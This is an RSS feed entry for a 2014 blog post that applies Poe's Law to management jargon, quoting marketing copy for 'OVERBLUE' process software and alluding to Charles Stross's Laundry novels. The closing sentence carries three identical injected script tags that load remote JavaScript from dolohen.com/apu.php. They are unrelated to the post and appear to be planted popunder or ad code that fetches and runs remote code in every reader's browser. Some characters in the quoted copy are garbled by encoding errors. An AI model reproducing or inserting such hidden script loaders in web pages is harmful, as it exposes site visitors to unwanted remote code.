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	<title>Where Worlds Collide &#187; Buzzwords</title>
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		<title>Is This a Poe?</title>
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		<pubDate>Wed, 08 Jan 2014 20:54:29 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[Charlie Stross]]></category>
		<category><![CDATA[Poe's Law]]></category>

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		<description><![CDATA[Poe's Law appears to apply not just to fundamentalism, but also to management-speak. <a href="http://www.kalyr.co.uk/weblog/computing/testing/is-this-a-poe/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Poe&#8217;s Law famously states that it&#8217;s impossible to create a parody of a fundamentalist or extremist site that won&#8217;t be mistaken for the real thing.</p>
<p>Does the same thing apply to management speak? I think it does&#8230;</p>
<p>Welcome to <a href="http://www.proactivethinking-sphida.com/" target="_blank">OVERBLUE, bridging the gap between strategy and execution</a>.</p>
<blockquote><p>OVERBLUEâ„¢ is an Operational Excellence Management System ( or OEMS ) that implements the principles of SPHIDA&#8217;s PROACTIVE THINKING to introduce a new paradigm in how people align business processes with corporate goals and how theyÂ get work done.</p></blockquote>
<p>Reading text like this I am really unsure as to whether this site is for real, or whether the whole thing is a very clever parody.</p>
<blockquote><p>A must have tool for any information workerÂ and collaborative team. It ensures a flawlessÂ execution and empowers an organization toÂ achieve the desired performance levels.</p></blockquote>
<p>It does read as if someone fed the contents of a few Management Buzzword Bingo cards into a <a href="http://www.antipope.org/charlie/blog-static/2013/12/lovebiblepl.html" target="_blank">Markov Chain Generator</a>, doesn&#8217;t it?</p>
<p>I&#8217;ve read most of the site, and I find myself with absolutely no idea as to precisely what this seemingly-magical software actually does.</p>
<blockquote><p>Todayâ€™s process improvement methodologies and BPM systems are limited because they are designed to deal with simple, easy to automate processes.Â  But simple processes account for<strong> only about 10% </strong>of the any organizationâ€™s process portfolio.</p>
<p>&#8230; the OVERBLUEâ„¢ software can be seamlessly used to design, align and execute activities and business processes across <strong>100% of the process spectrum.</strong></p></blockquote>
<p>Since the link came from the writer <a href="http://www.antipope.org/charlie/blog-static/">Charle Stross</a>, the whole thing does sound like something from his Laundry novels, akin to CASE NIGHTMARE GREEN. Is the CEO of this company called Ellis Billington?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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